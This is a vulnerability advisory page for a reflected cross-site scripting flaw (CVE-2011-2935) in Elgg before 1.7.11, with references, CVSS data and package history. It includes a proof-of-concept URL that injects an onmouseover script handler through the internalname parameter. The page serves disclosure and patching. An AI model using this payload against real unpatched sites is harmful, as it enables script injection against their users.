Elgg Reflected XSS Vulnerability
VULNERABILITY DESCRIPTION
The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser
PROOF-OF-CONCEPT/EXPLOIT
http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | elgg/elgg | < 1.7.11 | 1.7.11 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2011-2935
- https://github.com/Elgg/Elgg/issues/3544
- https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04
- https://github.com/Elgg/Elgg
- https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilities
- https://security-tracker.debian.org/tracker/CVE-2011-2935
- https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released
- http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
elgg/elgg- Disclosed
- 22.04.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mcfm-j5g6-w26f - CC BY 4.0
Vulnerability history: elgg/elgg
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 12.2021 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2021: 2
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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Elgg Reflected XSS Vulnerability this entry
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